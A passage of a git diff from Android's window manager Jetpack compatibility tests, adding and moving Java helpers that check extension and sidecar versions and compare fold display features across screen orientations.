+        // Check that the extension version on the device is at least the minimum valid version.
+        return version.compareTo(MINIMUM_EXTENSION_VERSION) >= 0;
+    }
+
+    @Nullable
+    public static WindowExtensions getWindowExtensions() {
+        try {
+            return WindowExtensionsProvider.getWindowExtensions();
+        } catch (NoClassDefFoundError e) {
+            Log.d(EXTENSION_TAG, "Extension implementation not found");
+        } catch (UnsupportedOperationException e) {
+            Log.d(EXTENSION_TAG, "Stub Extension");
+        }
+        return null;
+    }
+
+    public static void assumeExtensionSupportedDevice() {
+        final boolean extensionNotNull = getWindowExtensions() != null;
+        assumeTrue("Device does not support extensions", extensionNotNull);
+        // If extensions are on the device, make sure that the version is valid.
+        assertTrue("Extension version is invalid, must be at least "
+                + MINIMUM_EXTENSION_VERSION.toString(), isExtensionVersionValid());
+    }
+
+    @Nullable
+    public static WindowLayoutComponent getExtensionWindowLayoutComponent() {
+        WindowExtensions extension = getWindowExtensions();
+        if (extension == null) {
+            return null;
+        }
+        return extension.getWindowLayoutComponent();
+    }
+
+    @Nullable
+    public static WindowLayoutInfo getExtensionWindowLayoutInfo(Activity activity)
+            throws ExecutionException, InterruptedException, TimeoutException {
+        WindowLayoutComponent windowLayoutComponent = getExtensionWindowLayoutComponent();
+        if (windowLayoutComponent == null) {
+            return null;
+        }
+        TestValueCountConsumer<WindowLayoutInfo> windowLayoutInfoConsumer =
+                new TestValueCountConsumer<>();
+        windowLayoutComponent.addWindowLayoutInfoListener(activity, windowLayoutInfoConsumer);
+        return windowLayoutInfoConsumer.waitAndGet();
+    }
+
+    @NonNull
+    public static int[] getExtensionDisplayFeatureTypes(Activity activity)
+            throws ExecutionException, InterruptedException, TimeoutException {
+        WindowLayoutInfo windowLayoutInfo = getExtensionWindowLayoutInfo(activity);
+        if (windowLayoutInfo == null) {
+            return new int[0];
+        }
+        List<DisplayFeature> displayFeatureList = windowLayoutInfo.getDisplayFeatures();
+        return displayFeatureList
+                .stream()
+                .filter(d -> d instanceof FoldingFeature)
+                .map(d -> ((FoldingFeature) d).getType())
+                .mapToInt(i -> i.intValue())
+                .toArray();
+    }
+
+    /**
+     * Returns whether the device reports at least one display feature.
+     */
+    public static void assumeHasDisplayFeatures(WindowLayoutInfo windowLayoutInfo) {
+        // If WindowLayoutComponent is implemented, then WindowLayoutInfo and the list of display
+        // features cannot be null. However the list can be empty if the device does not report
+        // any display features.
+        assertNotNull(windowLayoutInfo);
+        assertNotNull(windowLayoutInfo.getDisplayFeatures());
+        assumeFalse(windowLayoutInfo.getDisplayFeatures().isEmpty());
+    }
+
+    /**
+     * Checks that display features are consistent across portrait and landscape orientations.
+     * It is possible for the display features to be different between portrait and landscape
+     * orientations because only display features within the activity bounds are provided to the
+     * activity and the activity may be letterboxed if orientation requests are ignored. So, only
+     * check that display features that are within both portrait and landscape activity bounds
+     * are consistent. To be consistent, the feature bounds must be the same (potentially rotated if
+     * orientation requests are respected) and their type and state must be the same.
+     */
+    public static void assertEqualWindowLayoutInfo(
+            @NonNull WindowLayoutInfo portraitWindowLayoutInfo,
+            @NonNull WindowLayoutInfo landscapeWindowLayoutInfo,
+            @NonNull Rect portraitBounds, @NonNull Rect landscapeBounds,
+            boolean doesDisplayRotateForOrientation) {
+        // Compute the portrait and landscape features that are within both the portrait and
+        // landscape activity bounds.
+        final List<DisplayFeature> portraitFeaturesWithinBoth = getMutualDisplayFeatures(
+                portraitWindowLayoutInfo, portraitBounds, landscapeBounds);
+        List<DisplayFeature> landscapeFeaturesWithinBoth = getMutualDisplayFeatures(
+                landscapeWindowLayoutInfo, landscapeBounds, portraitBounds);
+        assertEquals(portraitFeaturesWithinBoth.size(), landscapeFeaturesWithinBoth.size());
+        final int nFeatures = portraitFeaturesWithinBoth.size();
+        if (nFeatures == 0) {
+            return;
+        }
+
+        // If the display rotates to respect orientation, then to make the landscape display
+        // features comparable to the portrait display features rotate the landscape features.
+        if (doesDisplayRotateForOrientation) {
+            landscapeFeaturesWithinBoth = landscapeFeaturesWithinBoth
+                    .stream()
+                    .map(d -> {
+                        if (!(d instanceof FoldingFeature)) {
+                            return d;
+                        }
+                        final FoldingFeature f = (FoldingFeature) d;
+                        final Rect oldBounds = d.getBounds();
+                        // Rotate the bounds by 90 degrees
+                        final Rect newBounds = new Rect(oldBounds.top, oldBounds.left,
+                                oldBounds.bottom, oldBounds.right);
+                        return new FoldingFeature(newBounds, f.getType(), f.getState());
+                    })
+                    .collect(Collectors.toList());
+        }
+
+        // Check that the list of features are the same
+        final boolean[] portraitFeatureMatched = new boolean[nFeatures];
+        final boolean[] landscapeFeatureMatched = new boolean[nFeatures];
+        for (int portraitIndex = 0; portraitIndex < nFeatures; portraitIndex++) {
+            if (portraitFeatureMatched[portraitIndex]) {
+                // A match has already been found for this portrait display feature
+                continue;
+            }
+            final DisplayFeature portraitDisplayFeature = portraitFeaturesWithinBoth
+                    .get(portraitIndex);
+            for (int landscapeIndex = 0; landscapeIndex < nFeatures; landscapeIndex++) {
+                if (landscapeFeatureMatched[landscapeIndex]) {
+                    // A match has already been found for this landscape display feature
+                    continue;
+                }
+                final DisplayFeature landscapeDisplayFeature = landscapeFeaturesWithinBoth
+                        .get(landscapeIndex);
+                // Only continue comparing if both display features are the same type of display
+                // feature (e.g. FoldingFeature) and they have the same bounds
+                if (!portraitDisplayFeature.getClass().equals(landscapeDisplayFeature.getClass())
+                        || !portraitDisplayFeature.getBounds().equals(
+                                landscapeDisplayFeature.getBounds())) {
+                    continue;
+                }
+                // If both are folding features, then only continue comparing if the type and state
+                // match
+                if (portraitDisplayFeature instanceof FoldingFeature) {
+                    FoldingFeature portraitFoldingFeature = (FoldingFeature) portraitDisplayFeature;
+                    FoldingFeature landscapeFoldingFeature =
+                            (FoldingFeature) landscapeDisplayFeature;
+                    if (portraitFoldingFeature.getType() != landscapeFoldingFeature.getType()
+                            || portraitFoldingFeature.getState()
+                            != landscapeFoldingFeature.getState()) {
+                        continue;
+                    }
+                }
+                // The display features match
+                portraitFeatureMatched[portraitIndex] = true;
+                landscapeFeatureMatched[landscapeIndex] = true;
+            }
+        }
+
+        // Check that a match was found for each display feature
+        for (int i = 0; i < nFeatures; i++) {
+            assertTrue(portraitFeatureMatched[i] && landscapeFeatureMatched[i]);
+        }
+    }
+
+    /**
+     * Returns the subset of {@param windowLayoutInfo} display features that are shared by the
+     * activity bounds in the current orientation and the activity bounds in the other orientation.
+     */
+    private static List<DisplayFeature> getMutualDisplayFeatures(
+            @NonNull WindowLayoutInfo windowLayoutInfo, @NonNull Rect currentOrientationBounds,
+            @NonNull Rect otherOrientationBounds) {
+        return windowLayoutInfo
+                .getDisplayFeatures()
+                .stream()
+                .map(d -> {
+                    if (!(d instanceof FoldingFeature)) {
+                        return d;
+                    }
+                    // The display features are positioned relative to the activity bounds, so
+                    // re-position them absolutely within the task.
+                    final FoldingFeature f = (FoldingFeature) d;
+                    final Rect r = f.getBounds();
+                    r.offset(currentOrientationBounds.left, currentOrientationBounds.top);
+                    return new FoldingFeature(r, f.getType(), f.getState());
+                })
+                .filter(d -> otherOrientationBounds.contains(d.getBounds()))
+                .collect(Collectors.toList());
+    }
+}
diff --git a/tests/framework/base/windowmanager/jetpack/src/android/server/wm/jetpack/utils/ExtensionUtils.java b/tests/framework/base/windowmanager/jetpack/src/android/server/wm/jetpack/utils/ExtensionUtils.java
deleted file mode 100644
index 987cf26..0000000
--- a/tests/framework/base/windowmanager/jetpack/src/android/server/wm/jetpack/utils/ExtensionUtils.java
+++ /dev/null
@@ -1,144 +0,0 @@
-/*
- * Copyright (C) 2020 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.server.wm.jetpack.utils;
-
-import static com.google.common.truth.Truth.assertThat;
-
-import static org.junit.Assume.assumeFalse;
-
-import android.content.Context;
-import android.server.wm.jetpack.utils.wrapper.TestDeviceState;
-import android.server.wm.jetpack.utils.wrapper.extensionwrapperimpl.TestExtensionCompat;
-import android.server.wm.jetpack.utils.wrapper.sidecarwrapperimpl.TestSidecarCompat;
-import android.server.wm.jetpack.utils.wrapper.TestInterfaceCompat;
-import android.server.wm.jetpack.utils.wrapper.sidecarwrapperimpl.TestSidecarDeviceState;
-import android.text.TextUtils;
-import android.util.Log;
-
-import androidx.annotation.Nullable;
-import androidx.window.extensions.ExtensionProvider;
-import androidx.window.sidecar.SidecarProvider;
-
-/** Helper class to get the vendor provided Extension/Sidecar implementation. */
-public final class ExtensionUtils {
-    private static final String TAG = "TestInterfaceProvider";
-
-    /** Skips devices that don't implement the wm extension library. */
-    public static void assumeSupportedDevice(Context context) {
-        assumeFalse(TextUtils.isEmpty(getVersion()) && getInterfaceCompat(context) == null);
-    }
-
-    /** Asserts that the vendor provided version is in the correct format and range. */
-    public static void assertValidVersion() {
-        if (getExtensionVersion() != null) {
-            String versionStr = getExtensionVersion();
-            assertThat(Version.isValidVersion(versionStr)).isTrue();
-            assertThat(Version.parse(versionStr)).isAtLeast(Version.VERSION_1_0);
-        } else if (getSidecarVersion() != null) {
-            String versionStr = getSidecarVersion();
-            assertThat(Version.isValidVersion(versionStr)).isTrue();
-            assertThat(Version.parse(versionStr)).isEqualTo(Version.VERSION_0_1);
-        }
-    }
-
-    public static void assertEqualsState(TestDeviceState left, TestDeviceState right) {
-        if (left instanceof TestSidecarDeviceState && right instanceof TestSidecarDeviceState) {
-            assertThat(left.getPosture()).isEqualTo(right.getPosture());
-        } else {
-            assertThat(left).isEqualTo(right);
-        }
-    }
-
-    /**
-     * Gets the vendor provided Extension implementation if available. If not available, gets the
-     * Sidecar implementation (deprecated). If neither is available, returns {@code null}.
-     */
-    @Nullable
-    public static TestInterfaceCompat getInterfaceCompat(Context context) {
-        // TODO(b/158876142) Reinstate android.window.extension
-        if (!TextUtils.isEmpty(getSidecarVersion())) {
-            return getSidecarInterfaceCompat(context);
-        }
-        return null;
-    }
-
-    @Nullable
-    public static String getVersion() {
-        if (!TextUtils.isEmpty(getExtensionVersion())) {
-            return getExtensionVersion();
-        } else if (!TextUtils.isEmpty(getSidecarVersion())) {
-            return getSidecarVersion();
-        }
-        return null;
-    }
-
-    @Nullable
-    private static String getExtensionVersion() {
-        try {
-            return ExtensionProvider.getApiVersion();
-        } catch (NoClassDefFoundError e) {
-            Log.d(TAG, "Extension version not found");
-            return null;
-        } catch (UnsupportedOperationException e) {
-            Log.d(TAG, "Stub Extension");
-            return null;
-        }
-    }
-
-    @Nullable
-    private static TestExtensionCompat getExtensionInterfaceCompat(Context context) {
-        try {
-            return TestExtensionCompat.create(ExtensionProvider.getExtensionImpl(context));
-        } catch (NoClassDefFoundError e) {
-            Log.d(TAG, "Extension implementation not found");
-            return null;
-        } catch (UnsupportedOperationException e) {
-            Log.d(TAG, "Stub Extension");
-            return null;
-        }
-    }
-
-    @SuppressWarnings("deprecation")
-    @Nullable
-    private static String getSidecarVersion() {
-        try {
-            return SidecarProvider.getApiVersion();
-        } catch (NoClassDefFoundError e) {
-            Log.d(TAG, "Sidecar version not found");
-            return null;
-        } catch (UnsupportedOperationException e) {
-            Log.d(TAG, "Stub Sidecar");
-            return null;
-        }
-    }
-
-    @SuppressWarnings("deprecation")
-    @Nullable
-    private static TestSidecarCompat getSidecarInterfaceCompat(Context context) {
-        try {
-            return TestSidecarCompat.create(SidecarProvider.getSidecarImpl(context));
-        } catch (NoClassDefFoundError e) {
-            Log.d(TAG, "Sidecar implementation not found");
-            return null;
-        } catch (UnsupportedOperationException e) {
-            Log.d(TAG, "Stub Sidecar");
-            return null;
-        }
-    }
-
-    private ExtensionUtils() {}
-}
diff --git a/tests/framework/base/windowmanager/jetpack/src/android/server/wm/jetpack/utils/SidecarCallbackCounter.java b/tests/framework/base/windowmanager/jetpack/src/android/server/wm/jetpack/utils/SidecarCallbackCounter.java
new file mode 100644
index 0000000..62ec495
--- /dev/null
+++ b/tests/framework/base/windowmanager/jetpack/src/android/server/wm/jetpack/utils/SidecarCallbackCounter.java
@@ -0,0 +1,64 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.server.wm.jetpack.utils;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.fail;
+
+import android.os.IBinder;
+
+import androidx.annotation.NonNull;
+import androidx.window.sidecar.SidecarDeviceState;
+import androidx.window.sidecar.SidecarInterface.SidecarCallback;
+import androidx.window.sidecar.SidecarWindowLayoutInfo;
+
+import java.util.concurrent.CountDownLatch;
+
+public class SidecarCallbackCounter implements SidecarCallback {
+
+    private final IBinder mWindowToken;
+    private final int mExpectedCallbackCount;
+    private final CountDownLatch mCountDownLatch;
+
+    public SidecarCallbackCounter(IBinder windowToken, int expectedCallbackCount) {
+        mWindowToken = windowToken;
+        mExpectedCallbackCount = expectedCallbackCount;
+        mCountDownLatch = new CountDownLatch(mExpectedCallbackCount);
+    }
+
+    @Override
+    public void onDeviceStateChanged(@NonNull SidecarDeviceState sidecarDeviceState) {
+    }
+
+    @Override
+    public void onWindowLayoutChanged(@NonNull IBinder iBinder,
+            @NonNull SidecarWindowLayoutInfo sidecarWindowLayoutInfo) {
+        assertEquals(iBinder, mWindowToken);
+        assertNotNull(sidecarWindowLayoutInfo);
+        if (mCountDownLatch.getCount() == 0) {
+            fail("onWindowLayoutChanged callback count has exceeded expected amount of: "
+                    + mExpectedCallbackCount);
+        }
+        mCountDownLatch.countDown();
+    }
+
+    public void assertZeroCount() {
+        assertEquals("Callback count should be zero", 0, mCountDownLatch.getCount());
+    }
+
+}
diff --git a/tests/framework/base/windowmanager/jetpack/src/android/server/wm/jetpack/utils/SidecarUtil.java b/tests/framework/base/windowmanager/jetpack/src/android/server/wm/jetpack/utils/SidecarUtil.java
new file mode 100644
index 0000000..2f9e36d
--- /dev/null
+++ b/tests/framework/base/windowmanager/jetpack/src/android/server/wm/jetpack/utils/SidecarUtil.java
@@ -0,0 +1,227 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.server.wm.jetpack.utils;
+
+import static android.server.wm.jetpack.utils.WindowManagerJetpackTestBase.getActivityWindowToken;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assume.assumeFalse;
+import static org.junit.Assume.assumeTrue;
+
+import android.app.Activity;
+import android.content.Context;
+import android.graphics.Rect;
+import android.os.IBinder;
+import android.util.Log;
+
+import androidx.annotation.NonNull;
+import androidx.annotation.Nullable;
+import androidx.window.sidecar.SidecarDisplayFeature;
+import androidx.window.sidecar.SidecarInterface;
+import androidx.window.sidecar.SidecarProvider;
+import androidx.window.sidecar.SidecarWindowLayoutInfo;
+
+import java.util.ArrayList;
+import java.util.Collections;
+import java.util.List;
+import java.util.stream.Collectors;
+
+/**
+ * Utility class for sidecar tests, providing methods for checking if a device supports sidecar,
+ * retrieving and validating the sidecar version, and getting the instance of
+ * {@link SidecarInterface}.
+ */
+public class SidecarUtil {
+
+    private static final String SIDECAR_TAG = "Sidecar";
+
+    public static final Version MINIMUM_SIDECAR_VERSION = new Version(1, 0, 0, "");
+
+    @SuppressWarnings("deprecation")
+    @NonNull
+    public static Version getSidecarVersion() {
+        try {
+            String sidecarVersionStr = SidecarProvider.getApiVersion();
+            if (Version.isValidVersion(sidecarVersionStr)) {
+                return Version.parse(sidecarVersionStr);
+            }
+        } catch (NoClassDefFoundError e) {
+            Log.d(SIDECAR_TAG, "Sidecar version not found");
+        } catch (UnsupportedOperationException e) {
+            Log.d(SIDECAR_TAG, "Stub Sidecar");
+        }
+        return Version.UNKNOWN;
+    }
+
+    public static boolean isSidecarVersionValid() {
+        final Version version = getSidecarVersion();
+        // Check that the sidecar version on the device is at least the minimum valid version.
+        return version.compareTo(MINIMUM_SIDECAR_VERSION) >= 0;
+    }
+
+    @SuppressWarnings("deprecation")
+    @Nullable
+    public static SidecarInterface getSidecarInterface(Context context) {
+        try {
+            return SidecarProvider.getSidecarImpl(context);
+        } catch (NoClassDefFoundError e) {
+            Log.d(SIDECAR_TAG, "Sidecar implementation not found");
+        } catch (UnsupportedOperationException e) {
+            Log.d(SIDECAR_TAG, "Stub Sidecar");
+        }
+        return null;
+    }
+
+    public static void assumeSidecarSupportedDevice(Context context) {
+        final boolean sidecarInterfaceNotNull = getSidecarInterface(context) != null;
+        assumeTrue("Device does not support sidecar", sidecarInterfaceNotNull);
+        // If sidecar is on the device, make sure that the version is valid.
+        assertTrue("Sidecar version is invalid, must be at least "
+                + MINIMUM_SIDECAR_VERSION.toString(), isSidecarVersionValid());
+    }
+
+    @NonNull
+    public static int[] getSidecarDisplayFeatureTypes(Activity activity) {
+        SidecarInterface sidecarInterface = getSidecarInterface(activity);
+        if (sidecarInterface == null) {
+            return new int[0];
+        }
+        SidecarWindowLayoutInfo windowLayoutInfo = sidecarInterface.getWindowLayoutInfo(
+                getActivityWindowToken(activity));
+        if (windowLayoutInfo == null) {
+            return new int[0];
+        }
+        return windowLayoutInfo.displayFeatures
+                .stream()
+                .map(d -> d.getType())
+                .mapToInt(i -> i.intValue())
+                .toArray();
+    }
+
+    public static void assumeHasDisplayFeatures(SidecarInterface sidecarInterface,
+            IBinder windowToken) {
+        SidecarWindowLayoutInfo windowLayoutInfo = sidecarInterface.getWindowLayoutInfo(
+                windowToken);
+        assertNotNull(windowLayoutInfo); // window layout info cannot be null
+        List<SidecarDisplayFeature> displayFeatures = windowLayoutInfo.displayFeatures;
+        assertFalse(displayFeatures == null); // list cannot be null
+        assumeFalse(displayFeatures.isEmpty()); // list can be empty
+    }
+
+    /**
+     * Checks that display features are consistent across portrait and landscape orientations.
+     * It is possible for the display features to be different between portrait and landscape
+     * orientations because only display features within the activity bounds are provided to the
+     * activity and the activity may be letterboxed if orientation requests are ignored. So, only
+     * check that display features that are within both portrait and landscape activity bounds
+     * are consistent. To be consistent, the feature bounds must be the same (potentially rotated if
+     * orientation requests are respected) and their type and state must be the same.
+     */
+    public static void assertEqualWindowLayoutInfo(
+            @NonNull SidecarWindowLayoutInfo portraitWindowLayoutInfo,
+            @NonNull SidecarWindowLayoutInfo landscapeWindowLayoutInfo,
+            @NonNull Rect portraitBounds, @NonNull Rect landscapeBounds,
+            boolean doesDisplayRotateForOrientation) {
+        // Compute the portrait and landscape features that are within both the portrait and
+        // landscape activity bounds.
+        final List<SidecarDisplayFeature> portraitFeaturesWithinBoth = getMutualDisplayFeatures(
+                portraitWindowLayoutInfo, portraitBounds, landscapeBounds);
+        List<SidecarDisplayFeature> landscapeFeaturesWithinBoth = getMutualDisplayFeatures(
+                landscapeWindowLayoutInfo, landscapeBounds, portraitBounds);
+        assertEquals(portraitFeaturesWithinBoth.size(), landscapeFeaturesWithinBoth.size());
+        final int nFeatures = portraitFeaturesWithinBoth.size();
+        if (nFeatures == 0) {
+            return;
+        }
+
+        // If the display rotates to respect orientation, then to make the landscape display
+        // features comparable to the portrait display features rotate the landscape features.
+        if (doesDisplayRotateForOrientation) {
+            landscapeFeaturesWithinBoth = landscapeFeaturesWithinBoth
+                    .stream()
+                    .map(d -> {
+                        final Rect oldBounds = d.getRect();
+                        // Rotate the bounds by 90 degrees
+                        final Rect newBounds = new Rect(oldBounds.top, oldBounds.left,
+                                oldBounds.bottom, oldBounds.right);
+                        SidecarDisplayFeature newDisplayFeature = new SidecarDisplayFeature();
+                        newDisplayFeature.setRect(newBounds);
+                        newDisplayFeature.setType(d.getType());
+                        return newDisplayFeature;
+                    })
+                    .collect(Collectors.toList());
+        }
+
+        // Check that the list of features are the same
+        final boolean[] portraitFeatureMatched = new boolean[nFeatures];
+        final boolean[] landscapeFeatureMatched = new boolean[nFeatures];
+        for (int portraitIndex = 0; portraitIndex < nFeatures; portraitIndex++) {
+            if (portraitFeatureMatched[portraitIndex]) {
+                // A match has already been found for this portrait display feature
+                continue;
+            }
+            final SidecarDisplayFeature portraitDisplayFeature = portraitFeaturesWithinBoth
+                    .get(portraitIndex);
+            for (int landscapeIndex = 0; landscapeIndex < nFeatures; landscapeIndex++) {
+                if (landscapeFeatureMatched[landscapeIndex]) {
+                    // A match has already been found for this landscape display feature
+                    continue;
+                }
+                final SidecarDisplayFeature landscapeDisplayFeature = landscapeFeaturesWithinBoth
+                        .get(landscapeIndex);
+                // Check that the bounds and type match
+                if (portraitDisplayFeature.getRect().equals(landscapeDisplayFeature.getRect())
+                        && portraitDisplayFeature.getType() == landscapeDisplayFeature.getType()) {
+                    // The display features match
+                    portraitFeatureMatched[portraitIndex] = true;
+                    landscapeFeatureMatched[landscapeIndex] = true;
+                }
+            }
+        }
+
+        // Check that a match was found for each display feature
+        for (int i = 0; i < nFeatures; i++) {
+            assertTrue(portraitFeatureMatched[i] && landscapeFeatureMatched[i]);
+        }
+    }
+
+    /**
+     * Returns the subset of {@param windowLayoutInfo} display features that are shared by the
+     * activity bounds in the current orientation and the activity bounds in the other orientation.
+     */
+    private static List<SidecarDisplayFeature> getMutualDisplayFeatures(
+            @NonNull SidecarWindowLayoutInfo windowLayoutInfo,
+            @NonNull Rect currentOrientationBounds, @NonNull Rect otherOrientationBounds) {
+        return windowLayoutInfo.displayFeatures
+                .stream()
+                .map(d -> {
+                    // The display features are positioned relative to the activity bounds, so
+                    // re-position them absolutely within the task.
+                    final Rect newBounds = new Rect(d.getRect());
+                    newBounds.offset(currentOrientationBounds.left, currentOrientationBounds.top);
+                    SidecarDisplayFeature newDisplayFeature = new SidecarDisplayFeature();
+                    newDisplayFeature.setRect(newBounds);
+                    newDisplayFeature.setType(d.getType());
+                    return newDisplayFeature;
+                })
+                .filter(d -> otherOrientationBounds.contains(d.getRect()))
+                .collect(Collectors.toList());
+    }
+}
diff --git a/tests/framework/base/windowmanager/jetpack/src/android/server/wm/jetpack/TestActivity.java b/tests/framework/base/windowmanager/jetpack/src/android/server/wm/jetpack/utils/TestActivity.java
similarity index 65%
rename from tests/framework/base/windowmanager/jetpack/src/android/server/wm/jetpack/TestActivity.java
rename to tests/framework/base/windowmanager/jetpack/src/android/server/wm/jetpack/utils/TestActivity.java
index 44f5306..76a78f8 100644
--- a/tests/framework/base/windowmanager/jetpack/src/android/server/wm/jetpack/TestActivity.java
+++ b/tests/framework/base/windowmanager/jetpack/src/android/server/wm/jetpack/utils/TestActivity.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (C) 2020 The Android Open Source Project
+ * Copyright (C) 2021 The Android Open Source Project
  *
  * Licensed under the Apache License, Version 2.0 (the "License");
  * you may not use this file except in compliance with the License.
@@ -14,9 +14,13 @@
  * limitations under the License.
  */
 
-package android.server.wm.jetpack;
+package android.server.wm.jetpack.utils;
+
+import static android.server.wm.jetpack.utils.WindowManagerJetpackTestBase.getActivityBounds;
 
 import android.app.Activity;
+import android.content.res.Configuration;
+import android.graphics.Rect;
 import android.os.Bundle;
 import android.view.View;
 
@@ -33,6 +37,8 @@
 
     private int mRootViewId;
     private CountDownLatch mLayoutLatch;
+    private CountDownLatch mBoundsChangeLatch;
+    private final Rect mPreviousBounds = new Rect();
     private static CountDownLatch sResumeLatch = new CountDownLatch(1);
 
     @Override
@@ -44,6 +50,7 @@
         setContentView(contentView);
 
         resetLayoutCounter();
+        resetBoundsChangeCounter();
         getWindow().getDecorView().addOnLayoutChangeListener(this);
     }
 
@@ -67,21 +74,41 @@
         sResumeLatch.countDown();
     }
 
+    @Override
+    public void onConfigurationChanged(Configuration newConfig) {
+        super.onConfigurationChanged(newConfig);
+
+        final Rect newActivityBounds = getActivityBounds(this);
+        if (!newActivityBounds.equals(mPreviousBounds)) {
+            mPreviousBounds.set(newActivityBounds);
+            mBoundsChangeLatch.countDown();
+        }
+    }
+
     /**
      * Resets layout counter when waiting for a layout to happen before calling
      * {@link #waitForLayout()}.
      */
-    void resetLayoutCounter() {
+    public void resetLayoutCounter() {
         mLayoutLatch = new CountDownLatch(1);
     }
 
     /**
+     * Resets bounds change counter when waiting for a bounds change to happen before calling
+     * {@link #waitForBoundsChange()}.
+     */
+    public void resetBoundsChangeCounter() {
+        mPreviousBounds.set(getActivityBounds(this));
+        mBoundsChangeLatch = new CountDownLatch(1);
+    }
+
+    /**
      * Blocks and waits for the next layout to happen. {@link #resetLayoutCounter()} must be called
      * before calling this method.
      * @return {@code true} if the layout happened before the timeout count reached zero and
      *         {@code false} if the waiting time elapsed before the layout happened.
      */
-    boolean waitForLayout() {
+    public boolean waitForLayout() {
         try {
             return mLayoutLatch.await(3, TimeUnit.SECONDS);
         } catch (InterruptedException e) {
@@ -90,10 +117,24 @@
     }
 
     /**
+     * Blocks and waits for the next bounds change to happen. {@link #resetBoundsChangeCounter()}
+     * must be called before calling this method.
+     * @return {@code true} if the bounds change happened before the timeout count reached zero and
+     *         {@code false} if the waiting time elapsed before the bounds change happened.
+     */
+    public boolean waitForBoundsChange() {
+        try {
+            return mBoundsChangeLatch.await(3, TimeUnit.SECONDS);
+        } catch (InterruptedException e) {
+            return false;
+        }
+    }
+
+    /**
      * Resets layout counter when waiting for a layout to happen before calling
      * {@link #waitForOnResume()}.
      */
-    static void resetResumeCounter() {
+    public static void resetResumeCounter() {
         sResumeLatch = new CountDownLatch(1);
     }
 
@@ -103,7 +144,7 @@
      * @return {@code true} if the onResume() happened before the timeout count reached zero and
      *         {@code false} if the waiting time elapsed before the onResume() happened.
      */
-    static boolean waitForOnResume() {
+    public static boolean waitForOnResume() {
         try {
             return sResumeLatch.await(3, TimeUnit.SECONDS);
         } catch (InterruptedException e) {
diff --git a/tests/framework/base/windowmanager/jetpack/src/android/server/wm/jetpack/utils/TestActivityWithId.java b/tests/framework/base/windowmanager/jetpack/src/android/server/wm/jetpack/utils/TestActivityWithId.java
new file mode 100644
index 0000000..6f52671
--- /dev/null
+++ b/tests/framework/base/windowmanager/jetpack/src/android/server/wm/jetpack/utils/TestActivityWithId.java
@@ -0,0 +1,55 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.server.wm.jetpack.utils;
+
+import static android.server.wm.jetpack.utils.WindowManagerJetpackTestBase.ACTIVITY_ID_LABEL;
+
+import android.app.Activity;
+import android.content.Intent;
+import android.os.Bundle;
+
+import androidx.annotation.Nullable;
+
+/**
+ * Test activity that has a unique Id passed in from the launching context.
+ */
+public class TestActivityWithId extends TestActivity {
+
+    private static final String DEFAULT_ID = "unknown";
+    private String mId = DEFAULT_ID;
+
+    @Override
+    public void onCreate(@Nullable Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+
+        // Get ID
+        Intent intent = getIntent();
+        if (intent != null && intent.hasExtra(ACTIVITY_ID_LABEL)) {
+            mId = intent.getStringExtra(ACTIVITY_ID_LABEL);
+        }
+    }
+
+    public String getId() {
+        return mId;
+    }
+
+    @Override
+    public String toString() {
+        return String.format("TestActivityWithID{id=%s}", mId);
+    }
+
+}
diff --git a/tests/framework/base/windowmanager/jetpack/src/android/server/wm/jetpack/TestConfigChangeHandlingActivity.java b/tests/framework/base/windowmanager/jetpack/src/android/server/wm/jetpack/utils/TestConfigChangeHandlingActivity.java
similarity index 88%
rename from tests/framework/base/windowmanager/jetpack/src/android/server/wm/jetpack/TestConfigChangeHandlingActivity.java
rename to tests/framework/base/windowmanager/jetpack/src/android/server/wm/jetpack/utils/TestConfigChangeHandlingActivity.java
index 37b163a..e23a3cb 100644
--- a/tests/framework/base/windowmanager/jetpack/src/android/server/wm/jetpack/TestConfigChangeHandlingActivity.java
+++ b/tests/framework/base/windowmanager/jetpack/src/android/server/wm/jetpack/utils/TestConfigChangeHandlingActivity.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (C) 2020 The Android Open Source Project
+ * Copyright (C) 2021 The Android Open Source Project
  *
  * Licensed under the Apache License, Version 2.0 (the "License");
  * you may not use this file except in compliance with the License.
@@ -14,7 +14,7 @@
  * limitations under the License.
  */
 
-package android.server.wm.jetpack;
+package android.server.wm.jetpack.utils;
 
 /**
  * Activity that handles orientation configuration change. Copied from
